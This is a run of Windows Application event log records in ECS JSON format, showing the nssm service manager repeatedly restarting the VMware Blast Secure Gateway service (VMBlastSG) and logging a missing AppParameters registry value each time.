{"@timestamp":1646670520271,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":156613}}
{"@timestamp":1646670649245,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":156614}}
{"@timestamp":1646670649246,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":156615}}
{"@timestamp":1646670649248,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","140348","0"]}}},"module":"Application","provider":"nssm","sequence":156616}}
{"@timestamp":1646670649249,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["140348","140348","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":156617}}
{"@timestamp":1646670649274,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":156618}}
{"@timestamp":1646670649276,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":156619}}
{"@timestamp":1646670649278,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":156620}}
{"@timestamp":1646670649279,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":156621}}
{"@timestamp":1646670777803,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":156622}}
{"@timestamp":1646670777804,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":156623}}
{"@timestamp":1646670777804,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","154444","0"]}}},"module":"Application","provider":"nssm","sequence":156624}}
{"@timestamp":1646670777804,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["154444","154444","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":156625}}
{"@timestamp":1646670777822,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":156626}}
{"@timestamp":1646670777823,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":156627}}
{"@timestamp":1646670777824,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":156628}}
{"@timestamp":1646670777824,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":156629}}
{"@timestamp":1646670906309,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":156630}}
{"@timestamp":1646670906309,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":156631}}
{"@timestamp":1646670906310,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","154492","0"]}}},"module":"Application","provider":"nssm","sequence":156632}}
{"@timestamp":1646670906310,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["154492","154492","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":156633}}
{"@timestamp":1646670906330,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":156634}}
{"@timestamp":1646670906331,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":156635}}
{"@timestamp":1646670906332,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":156636}}
{"@timestamp":1646670906332,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":156637}}
{"@timestamp":1646671034910,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":156638}}
{"@timestamp":1646671034911,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":156639}}
{"@timestamp":1646671034911,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","151952","0"]}}},"module":"Application","provider":"nssm","sequence":156640}}
{"@timestamp":1646671034911,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["151952","151952","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":156641}}
{"@timestamp":1646671034927,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":156642}}
{"@timestamp":1646671034928,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":156643}}
{"@timestamp":1646671034929,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":156644}}
{"@timestamp":1646671034929,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":156645}}
{"@timestamp":1646671163429,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":156646}}
{"@timestamp":1646671163430,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":156647}}
{"@timestamp":1646671163432,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","154144","0"]}}},"module":"Application","provider":"nssm","sequence":156648}}
{"@timestamp":1646671163433,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["154144","154144","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":156649}}
{"@timestamp":1646671163455,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":156650}}
{"@timestamp":1646671163455,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":156651}}
{"@timestamp":1646671163456,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":156652}}
{"@timestamp":1646671163456,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":156653}}
{"@timestamp":1646671291942,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":156654}}
{"@timestamp":1646671291943,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":156655}}
{"@timestamp":1646671291943,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","153516","0"]}}},"module":"Application","provider":"nssm","sequence":156656}}
{"@timestamp":1646671291944,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["153516","153516","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":156657}}
{"@timestamp":1646671291960,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":156658}}
{"@timestamp":1646671291961,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":156659}}
{"@timestamp":1646671291962,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":156660}}
{"@timestamp":1646671291962,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":156661}}
{"@timestamp":1646671420467,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":156662}}
{"@timestamp":1646671420467,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":156663}}
{"@timestamp":1646671420468,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","152096","0"]}}},"module":"Application","provider":"nssm","sequence":156664}}
{"@timestamp":1646671420468,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["152096","152096","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":156665}}
{"@timestamp":1646671420487,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":156666}}
{"@timestamp":1646671420488,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":156667}}
{"@timestamp":1646671420488,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":156668}}
{"@timestamp":1646671420489,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":156669}}
{"@timestamp":1646671549181,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":156670}}
{"@timestamp":1646671549182,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":156671}}
{"@timestamp":1646671549183,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","152880","0"]}}},"module":"Application","provider":"nssm","sequence":156672}}
{"@timestamp":1646671549183,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["152880","152880","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":156673}}
{"@timestamp":1646671549202,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":156674}}
{"@timestamp":1646671549202,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":156675}}
{"@timestamp":1646671549203,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":156676}}
{"@timestamp":1646671549204,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":156677}}
{"@timestamp":1646671677694,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":156678}}
{"@timestamp":1646671677696,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":156679}}
{"@timestamp":1646671677697,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","153624","0"]}}},"module":"Application","provider":"nssm","sequence":156680}}
{"@timestamp":1646671677698,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["153624","153624","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":156681}}
{"@timestamp":1646671677716,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":156682}}
{"@timestamp":1646671677717,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":156683}}
{"@timestamp":1646671677717,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":156684}}
{"@timestamp":1646671677718,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":156685}}
{"@timestamp":1646671806200,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":156686}}
{"@timestamp":1646671806201,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":156687}}
{"@timestamp":1646671806202,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","153912","0"]}}},"module":"Application","provider":"nssm","sequence":156688}}
{"@timestamp":1646671806203,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["153912","153912","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":156689}}
{"@timestamp":1646671806221,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":156690}}
{"@timestamp":1646671806222,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":156691}}
{"@timestamp":1646671806222,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":156692}}
{"@timestamp":1646671806223,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":156693}}
{"@timestamp":1646671934738,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":156694}}
{"@timestamp":1646671934740,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":156695}}
{"@timestamp":1646671934741,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","153936","0"]}}},"module":"Application","provider":"nssm","sequence":156696}}
{"@timestamp":1646671934741,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["153936","153936","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":156697}}
{"@timestamp":1646671934758,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":156698}}
{"@timestamp":1646671934758,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":156699}}
{"@timestamp":1646671934759,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":156700}}
{"@timestamp":1646671934760,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":156701}}
{"@timestamp":1646672063503,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":156702}}
{"@timestamp":1646672063504,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":156703}}
{"@timestamp":1646672063506,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","153552","0"]}}},"module":"Application","provider":"nssm","sequence":156704}}
{"@timestamp":1646672063507,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["153552","153552","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":156705}}
{"@timestamp":1646672063529,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","154536","0"]}}},"module":"Application","provider":"nssm","sequence":156706}}
{"@timestamp":1646672063530,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["154536","153552","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":156707}}
{"@timestamp":1646672063550,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":156708}}
{"@timestamp":1646672063551,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":156709}}
{"@timestamp":1646672063551,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":156710}}
{"@timestamp":1646672063552,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":156711}}
{"@timestamp":1646672192054,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":156712}}
{"@timestamp":1646672192055,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":156713}}
{"@timestamp":1646672192055,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","154540","0"]}}},"module":"Application","provider":"nssm","sequence":156714}}
{"@timestamp":1646672192056,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["154540","154540","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":156715}}
{"@timestamp":1646672192072,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":156716}}
{"@timestamp":1646672192073,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":156717}}
